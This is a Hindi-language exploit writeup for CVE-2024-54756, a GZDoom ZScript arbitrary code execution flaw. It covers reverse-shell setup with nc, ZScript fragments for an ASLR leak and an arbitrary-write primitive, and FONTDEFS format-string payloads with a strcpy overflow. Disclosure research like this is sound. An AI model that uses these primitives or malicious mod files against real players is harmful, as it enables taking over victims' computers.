
CVE-2024-54756 के लिए अवधारणा का प्रमाण, एक भेद्यता जो मैंने GZDoom के ZScript स्क्रिप्टिंग इंजन में पाई।
GZDoom के (https://github.com/zdoom/gzdoom) ZScript कार्यक्षमता में मेरे द्वारा पाई गई एक मनमाना कोड निष्पादन भेद्यता का एक प्रमाण-अवधारणा। एक हमलावर एक दुर्भावनापूर्ण ZScript स्रोत फ़ाइल वाली PK3 फ़ाइल साझा कर सकता है और पीड़ित के पीसी तक पहुँच प्राप्त कर सकता है।
GZDoom डेव टीम के Rachael और Agent Ash को उनके त्वरित उत्तरों के लिए बहुत-बहुत धन्यवाद, और उन्हें तथा अन्य GZDoom डेवलपर्स को इस समस्या को शीघ्रता से संबोधित करने के लिए धन्यवाद!
4.13.0 और 4.13.1 के लिए काम करने की पुष्टि हुई है, और यह संभवतः पुराने संस्करणों के लिए भी काम करता है। किसी भी व्यक्ति से सावधान रहें जो आपको अपना WAD खेलने में सक्षम होने के लिए संस्करण 4.13.1 या उससे नीचे डाउनग्रेड करने के लिए कहता है।
यह PoC केवल लिनक्स पर काम करता है, लेकिन भेद्यता विंडोज़ पर भी मौजूद होने की संभावना है। ZDoom या LZDoom पर परीक्षण नहीं किया गया, लेकिन वहाँ भी भेद्यता मौजूद हो सकती है।
भेद्यता इस PoC के प्रकाशन से पहले डेवलपर्स को बताई गई थी और इसे संस्करण 4.13.2 में अब मौजूद नहीं होना चाहिए। मेरी जानकारी के अनुसार, इस संस्करण में कोई व्यावहारिक ब्रेकिंग परिवर्तन शामिल नहीं हैं।
यह PoC शैक्षिक उद्देश्यों के लिए बनाया और जारी किया गया है, ताकि गेम/स्क्रिप्टिंग इंजन डेवलपर्स समझ सकें कि भेद्यताएँ कैसे उत्पन्न हो सकती हैं और खिलाड़ी समझ सकें कि एक दुर्भावनापूर्ण गेम मॉड कैसा दिख सकता है। मैं इस PoC के किसी भी दुरुपयोग के लिए जिम्मेदार या उत्तरदायी नहीं हूँ। कृपया इसका उपयोग अपने साथी गेमर्स के पीसी से समझौता करने के लिए न करें; यह अवैध है (आपको मुझे यह बताने की आवश्यकता नहीं होनी चाहिए), और किसी के कंप्यूटर को वीडियो गेम के माध्यम से अपने कब्जे में लेना विशेष रूप से एक गंदा काम है।
इस PoC का उपयोग करने के लिए, इस रेपो को डाउनलोड करें और zscript.zs और MAPINFO युक्त एक PK3 फ़ाइल बनाएँ (जो वास्तव में .pk3 एक्सटेंशन वाली एक ज़िप फ़ाइल है):
git clone https://github.com/Chainmanner/GZDoom-Arbitrary-Code-Execution-via-ZScript-PoC
cd GZDoom-Arbitrary-Code-Execution-via-ZScript-PoC
zip PoC.pk3 zscript.zs MAPINFO
डिफ़ॉल्ट पेलोड पोर्ट 1337 पर लोकलहोस्ट पर एक रिवर्स शेल चलाना है। लिसनर शुरू करें:
nc -nvlp 1337
PoC को इस प्रकार चलाएँ:
gzdoom -iwad <your-doom-or-freedoom-wad> -file PoC.pk3
यदि यह काम करता है, तो अब आपके पास स्वयं के लिए एक रिवर्स शेल होना चाहिए।
यह PoC केवल लिनक्स के लिए है। यह पहले प्रयास में काम नहीं कर सकता है; बस इसे तब तक दोबारा आज़माएँ जब तक यह काम न करे।
नोट: यह मेरा पहला एक्सप्लॉइट राइटअप है और मैं अभी भी निम्न-स्तरीय राइटअप करने के अपने कौशल पर काम कर रहा हूँ। साथ ही, मैंने अपनी अधिकांश डिबगिंग GDB के साथ की, और दुर्भाग्य से मेरे पास अपनी व्याख्या को बेहतर ढंग से चित्रित करने के लिए कुछ मेमोरी डंप को सहेजने की अच्छी समझ नहीं थी। माफ़ करना! मेरा अगला राइटअप बेहतर होगा, मैं वादा करता हूँ।
GZDoom एक Doom सोर्स पोर्ट है जो प्रदर्शन और विस्तारशीलता के लिए डिज़ाइन किया गया है। इसकी शक्तिशाली विशेषताओं के कारण, कई शानदार WAD, मॉड और यहाँ तक कि व्यावसायिक टोटल कन्वर्ज़न भी बनाए गए हैं। दुर्भाग्य से, जहाँ जटिलता है, वहाँ भेद्यताओं का अवसर है, और इस मामले में ZScript स्क्रिप्टिंग इंजन में दो भेद्यताएँ मौजूद थीं जिन्होंने एक पूर्ण शोषण श्रृंखला को जन्म दिया।
यह हमला ASLR को पराजित करता है और स्टैक कैनरी को पराजित करने की आवश्यकता को टालता है। मुझे नहीं लगता कि Clang का CFI या शैडो स्टैक यहाँ मदद करता।
पहली और सबसे महत्वपूर्ण भेद्यता यह थी कि विशाल सारणियों को कैसे संभाला गया। यदि आप एक पर्याप्त छोटी सारणी आवंटित करते हैं, तो आवंटित मेमोरी का क्षेत्र शून्य से भरा होता है और अन्य वस्तुओं से ठीक से अलग होता है; अप्रारंभिक मेमोरी पढ़ने से कोई जानकारी प्राप्त नहीं की जा सकती है, और कोई वस्तु सारणी के साथ ओवरलैप नहीं होती है। हालाँकि, यदि आप एक विशाल सारणी आवंटित करते हैं - मान लीजिए, 1073741823 32-बिट शब्द या अधिक - तो आप सारणी के प्रारंभ बिंदु से 4 GiB तक संभावित रूप से अप्रारंभिक मेमोरी को पढ़ और लिख सकते हैं, जिससे हमलावर को अन्य वस्तुओं को सीधे संशोधित करने और ज्ञात ऑफसेट वाले पतों को ढूंढकर ASLR को पराजित करने की अनुमति मिलती है। इसके अतिरिक्त, इस बिंदु के बाद बनाई गई कोई भी अन्य सारणी बड़ी सारणी के साथ ओवरलैप होगी।
दूसरी भेद्यता मेमोरी मैप अनुमतियों में थी। तेज़ प्रदर्शन के लिए, ZScript कोड जब भी संभव हो x86 या x86-64 बाइटकोड में JIT-संकलित किया जाता है। इसके लिए, कोड को मेमोरी के एक क्षेत्र में लिखा जाना चाहिए, और मेमोरी के उस क्षेत्र को निष्पादित किया जाना चाहिए। हालाँकि, W^X नियम कहता है कि एक क्षेत्र या तो लिखने योग्य या निष्पादन योग्य होना चाहिए, लेकिन दोनों नहीं। यदि दोनों एक ही समय में लागू किए जाते हैं (क्षेत्र को लिखने योग्य बनाने, कोड लिखने, और फिर क्षेत्र को निष्पादन योग्य और अलिखनीय बनाने के बजाय), तो एक मनमाना लेखन प्रिमिटिव वाला हमलावर इसे मनमाना कोड निष्पादन तक बढ़ा सकता है; वे शेलकोड लिख सकते हैं और e.g. स्टैक पर रिटर्न पते को संशोधित करके उस पर कूद सकते हैं (यह मानते हुए कि हमलावर के पास मनमाना निष्पादन प्रिमिटिव नहीं है)। यदि आप GZDoom के चलने पर इसकी मेमोरी मैपिंग को देखते हैं, तो आप कई RWX क्षेत्र देख सकते हैं:
7fcd19700000-7fcd19800000 rwxp 00000000 00:00 0
7fcd1a100000-7fcd1a200000 rwxp 00000000 00:00 0
7fcd1eb00000-7fcd1ec00000 rwxp 00000000 00:00 0
इसलिए यदि मनमाना लेखन और मनमाना निष्पादन प्रिमिटिव उपलब्ध हैं, और हमलावर जानता है कि कोई RWX क्षेत्र कहाँ मौजूद है, तो वे मनमाना शेलकोड लिख और निष्पादित कर सकते हैं। JIT-संकलित कोड लिखते समय इन क्षेत्रों को RW- और फिर चलाने के लिए तैयार होने पर R-X बनाने से यह PoC रुक जाएगा, लेकिन यह किसी हमलावर को e.g. स्टैक (ROP) या हीप पर डेटा संशोधित करके कोड निष्पादन प्राप्त करने से नहीं रोकेगा।
इसके अतिरिक्त, एक उपयोगी गैजेट है। याद रखें कि विशाल सारणी आवंटित करने पर उसके बाद बनाई गई कोई भी अन्य सारणी ओवरलैप होगी? इसमें ऑब्जेक्ट पॉइंटर्स की सारणियाँ शामिल हैं। C++ ऑब्जेक्ट्स की तरह, ZScript ऑब्जेक्ट्स में चर और फ़ंक्शन पॉइंटर्स हो सकते हैं। मान लीजिए हमारे पास यह ऑब्जेक्ट है:
class WeirdObject
{
uint one;
uint two;
uint three;
uint four;
Function<clearscope void()> funcptr;
}
यदि हम एक WeirdObject इंस्टेंस के लिए एक पॉइंटर वाली सारणी बनाते हैं, तो हमलावर विशाल सारणी का उपयोग करके पॉइंटर को जहाँ चाहे बदल सकता है और ऑब्जेक्ट के फ़ील्ड तक पहुँच कर पॉइंट किए गए डेटा को बदल सकता है, जिससे हमें हीप से परे एक मनमाना पढ़ने/लिखने का प्रिमिटिव मिलता है। ZScript में पॉइंटर्स की जाँच यह सुनिश्चित करने के लिए की जाती है कि वे शून्य नहीं हैं, लेकिन यह सुनिश्चित करने के लिए नहीं कि वे समझदार हैं।
एक फ़ंक्शन पॉइंटर की उपस्थिति हमें एक मनमाना निष्पादन प्रिमिटिव भी देती है; हालाँकि, यह थोड़ा कम सीधा है, जिसमें वर्चुअल मशीन को संतुष्ट करने के लिए एक नकली VMFunction बनाने की आवश्यकता होती है। जैसे ही एक्सप्लॉइट कोड में किसी ZScript फ़ंक्शन का कॉल पेश किया जाता है, वह कोड अब JIT-संकलित नहीं होता है। फिर भी काम करता है, लेकिन यह डीबग और शोषण करने में थोड़ा अधिक सिरदर्द बन जाता है। इस भाग को करने का कोई बेहतर तरीका हो सकता है, लेकिन मैंने इसके बारे में जानने के लिए GZDoom के आंतरिक भागों का पर्याप्त अध्ययन नहीं किया।
एक बात ध्यान देने योग्य है: WeirdObject में विरासत में मिले सदस्य चर हैं, इसलिए पहला सदस्य ऑफसेट 0x28 पर शुरू होता है।
तो अब, हमारे पास निम्नलिखित उपकरण हैं:
हम एक्सप्लॉइट बनाने के लिए इन्हें कैसे श्रृंखलित करें?
पहले, क्योंकि ASLR सक्षम है, हमें यह पहचानने की आवश्यकता है कि RWX क्षेत्र कहाँ मौजूद है। कोई भी काम करेगा। विशाल सारणी के लिए उपलब्ध हीप का भाग RWX क्षेत्र के भीतर फ़ंक्शन की ओर इशारा करने वाले पते शामिल करता है, लेकिन इसमें अन्य क्षेत्रों की ओर इशारा करने वाले पते भी शामिल हैं; हम कैसे अंतर करें? याद रखें कि लिनक्स पर, ASLR में 28 बिट्स की एंट्रॉपी होती है (कभी-कभी कम!), जिसका अर्थ है कि एक पते में मास्क 0x7fffffe00000 के बिट्स यादृच्छिक होंगे, लेकिन बिट्स 0x0000001fffff स्थिर होंगे। इसलिए, ASLR अक्षम के साथ, मान लें कि हमारे पास निम्नलिखित RWX क्षेत्र हैं:
[0x7ffff2f00000, 0x7ffff3000000)
[0x7ffff3900000, 0x7ffff3a00000)
[0x7ffff4300000, 0x7ffff4400000)
फिर हम RWX क्षेत्रों के भीतर JIT-संकलित ZScript फ़ंक्शन के पॉइंटर्स को प्रिंट करने के लिए निम्नलिखित ZScript कोड का उपयोग कर सकते हैं:
uint u32pBFA9000[1073741823];
uint u32RWX_L;
uint u32RWX_H;
for (i = 0; i < (1073741823 / 2); i += 2)
{
u32RWX_L = u32pBFA9000[i];
u32RWX_H = u32pBFA9000[i+1];
if ((u32RWX_H & 0xffff8000) == 0)
{
if ((u32RWX_L & 0xffe00000) == 0xf2e00000)
{
Console.Printf("0x%x%08x", u32RWX_H, u32RWX_L);
}
if ((u32RWX_L & 0xffe00000) == 0xf3800000)
{
Console.Printf("0x%x%08x", u32RWX_H, u32RWX_L);
}
if ((u32RWX_L & 0xffe00000) == 0xf4200000)
{
Console.Printf("0x%x%08x", u32RWX_H, u32RWX_L);
}
}
}
मुद्रित परिणामों को 0x1fffff के साथ AND करके ऑफसेट प्राप्त करें, और आप RWX क्षेत्रों की ओर इशारा करने वाले पॉइंटर्स की पहचान करने के लिए इन ऑफसेट का उपयोग कर सकते हैं। जितने अधिक ऑफसेट आप जानते हैं, एक्सप्लॉइट के सफल होने की संभावना उतनी ही अधिक होती है।
इसके बाद, हमें मनमाना निष्पादन प्रिमिटिव तैयार करने की आवश्यकता है। हम ऐसा एक गैजेट ऑब्जेक्ट में फ़ंक्शन पॉइंटर को संशोधित करके करते हैं, जैसे ऊपर घोषित WeirdObject, एक मनमाना लेखन प्रिमिटिव का उपयोग करके। u32pBFA9000 घोषित होने के बाद, मनमाना लेखन और निष्पादन गैजेट ऑब्जेक्ट बनाकर शुरू करें:
WeirdObject ppGadgetObjects[2];
ppGadgetObjects[0] = New("WeirdObject"); // Arbitrary write pointer.
ppGadgetObjects[1] = New("WeirdObject"); // Arbitrary execute object.
ppGadgetObjects शुरुआत में ही u32pBFA9000 के साथ ओवरलैप होता है, और याद रखें कि WeirdObject-विशिष्ट सदस्य ऑफसेट 0x28 से शुरू होते हैं। मनमाना लेखन प्रिमिटिव इस तरह दिखता है, जहाँ TARGET_ADDR लक्ष्य लेखन पता है, QWORD लिखने के लिए 64-बिट पूर्णांक है, और _H/_L क्रमशः 64-बिट int के उच्च और निम्न 32 बिट्स को इंगित करते हैं:
u32pBFA9000[0] = (TARGET_ADDR_L-0x28);
u32pBFA9000[1] = TARGET_ADDR_H;
ppGadgetObjects[0].one = QWORD_L;
ppGadgetObjects[0].two = QWORD_H;
मैं स्वीकार करूँगा कि मैं ZScript के फ़ंक्शन पॉइंटर्स के काम करने के बारे में पर्याप्त नहीं जानता और यह भाग मुझे अभी भी समझाना मुश्किल लगता है, लेकिन मैं फिर भी समझाने की पूरी कोशिश करूँगा। यदि मैं आपको और भ्रमित करता हूँ तो क्षमा करें।
मुझे वास्तव में इसके लिए एक आरेख लिखना चाहिए, लेकिन अभी मुझे ASCII कला करने का मन नहीं है। उपरोक्त कैसा दिखता है यह देखने के लिए एक्सप्लॉइट स्रोत कोड देखें। एक बार उपरोक्त सुलझ जाने के बाद, हम गैजेट ऑब्जेक्ट में फ़ंक्शन पॉइंटर को संशोधित कर सकते हैं। जब हम इसे कॉल करते हैं, तो यह एक बार लिखे जाने पर हमारे शेलकोड को निष्पादित करेगा।
अंतिम चरण शेलकोड को स्वयं लिखना है। चूँकि यह PoC एक शेल कमांड को कॉल करता है, कुछ स्ट्रिंग्स ("/bin/bash", "-c", कमांड स्ट्रिंग) को भी लिखने की आवश्यकता होती है। यह भाग आसान या कठिन हो सकता है, यह इस पर निर्भर करता है कि आप वास्तव में क्या निष्पादित करना चाहते हैं।
जब यह सब हो जाता है, तो आप निष्पादन गैजेट WeirdObject द्वारा इंगित फ़ंक्शन को कॉल करते हैं, और अब आपने अपना स्वयं का शेलकोड निष्पादित कर लिया है।
मुझे कुछ अतिरिक्त भेद्यताएँ मिलीं, लेकिन उनका शोषण करने और एक पूर्ण ACE श्रृंखला देने का कोई तरीका नहीं मिला। strcpy() स्टैक ओवरफ्लो भेद्यता को संस्करण 4.13.2 में ठीक कर दिया गया है। mysnprintf() फ़ॉर्मेट स्ट्रिंग भेद्यता को अब तक ठीक नहीं किया गया है, लेकिन यदि आप इसका शोषण करने का प्रयास करने जा रहे हैं तो GL HF।
common/fonts/font.cpp में FFont कंस्ट्रक्टर में एक फ़ॉर्मेट स्ट्रिंग भेद्यता (वास्तव में दो) है:
[...]
if (nametemplate != nullptr)
{
if (!iwadonly)
{
for (i = 0; i < lcount; i++)
{
int position = lfirst + i;
mysnprintf(buffer, countof(buffer), nametemplate, i + start);
lump = TexMan.CheckForTexture(buffer, ETextureType::MiscPatch);
[...]
}
}
else
{
FGameTexture *texs[256] = {};
if (lcount > 256 - start) lcount = 256 - start;
for (i = 0; i < lcount; i++)
{
TArray<FTextureID> array;
mysnprintf(buffer, countof(buffer), nametemplate, i + start);
TexMan.ListTextures(buffer, array, true);
[...]
}
[...]
}
[...]
}
[...]
FONTDEFS लम्प में एक प्रविष्टि से TEMPLATE तर्क सीधे mysnprintf() को पास किया जाता है। इसका अर्थ है कि कोई इस तरह की प्रविष्टि बना सकता है जो स्टैक चर के आधार पर एक फ़ॉन्ट लोड करने का प्रयास करती है:
EVILFONT
{
TEMPLATE LOL%hhx
}
या एक प्रविष्टि जो स्टैक पर कहीं लिखे गए वर्णों की संख्या लिखती है, जिससे क्रैश होता है:
EVILFONT
{
TEMPLATE ----AAAAAAAA%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%n
}
यह तथ्य कि आउटपुट सीमित है, मायने नहीं रखता; प्रतिशत चिह्न अधिकतम लंबाई की परवाह किए बिना पार्स किए जाएँगे।
mysnprintf() snprintf() का एक कस्टम, सार्वजनिक डोमेन कार्यान्वयन है जो लचीलेपन की कीमत पर प्रदर्शन के लिए डिज़ाइन किया गया है। इसका शोषण करना libc के मानक कार्यान्वयन की तुलना में कहीं अधिक कठिन है। उदाहरण के लिए, %n का उपयोग करके, आप केवल 32-बिट शब्द लिख सकते हैं और आप %<num>$n का उपयोग करके विशिष्ट स्टैक तत्व नहीं लिख सकते।
gamedata/statistics.cpp में LevelStatEntry() में strcpy() का एक जोखिम भरा कॉल भी है जिसका स्रोत गंतव्य से लंबा हो सकता है। फ़ंक्शन:
static void LevelStatEntry(FSessionStatistics *es, const char *level, const char *text, int playtime)
{
FLevelStatistics s;
time_t clock;
struct tm *lt;
time (&clock);
lt = localtime (&clock);
strcpy(s.name, level);
strcpy(s.info, text);
s.timeneeded=playtime;
es->levelstats.Push(s);
}
FLevelStatistics संरचना, जो स्टैक पर आवंटित है, इस प्रकार दिखती है:
struct FLevelStatistics
{
char info[60];
short skill;
short playerclass;
char name[24];
int timeneeded;
};
और LevelStatEntry() को इस प्रकार कॉल किया जाता है, जिसमें LevelData.Levelname - जो std::string प्रकार का है - एक तर्क के रूप में उपयोग किया जाता है:
[...]
for(unsigned i = 0; i < LevelData.Size(); i++)
{
FString lsection = LevelData[i].Levelname;
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
lsection.ToUpper();
infostring.Format("%4d/%4d, %4d/%4d, %3d/%3d",
LevelData[i].killcount, LevelData[i].totalkills, LevelData[i].itemcount, LevelData[i].totalitems, LevelData[i].secretcount, LevelData[i].totalsecrets);
LevelStatEntry(es, lsection.GetChars(), infostring.GetChars(), LevelData[i].leveltime);
^^^^^^^^^^^^^^^^^^^
}
SaveStatistics(statfile, EpisodeStatistics);
[...]
इस बिंदु तक पहुँचने के लिए कॉल की एक पूरी श्रृंखला है, जो g_level.cpp में FLevelLocals::ChangeLevel() से शुरू होती है, लेकिन मैं इसे यहाँ दिखाने की जहमत नहीं उठाऊँगा। मैं कहूँगा कि यहाँ पहुँचने के लिए निष्पादन श्रृंखला के साथ, LevelData.Levelname की लंबाई के विरुद्ध कोई जाँच या सीमा नहीं है।
आधुनिक प्रणाली पर, यह शोषण योग्य नहीं होना चाहिए; स्टैक कैनरी इसके माध्यम से स्टैक स्मैशिंग के किसी भी प्रयास को तुरंत रोक देगी, और ASLR उपयोगकर्ता को यह जानने से रोकेगा कि कहाँ लौटना है। साथ ही, आपको केवल एक गैजेट मिलता है: LevelStatEntry() से बाहर निकलने पर रिटर्न पते को अधिलेखित करना। पुरानी प्रणालियों पर, हालाँकि, ये सुरक्षा उपलब्ध नहीं हो सकती हैं, और शायद JIT-संकलित ZScript कोड शोषण के लिए गैजेट प्रदान कर सकता है।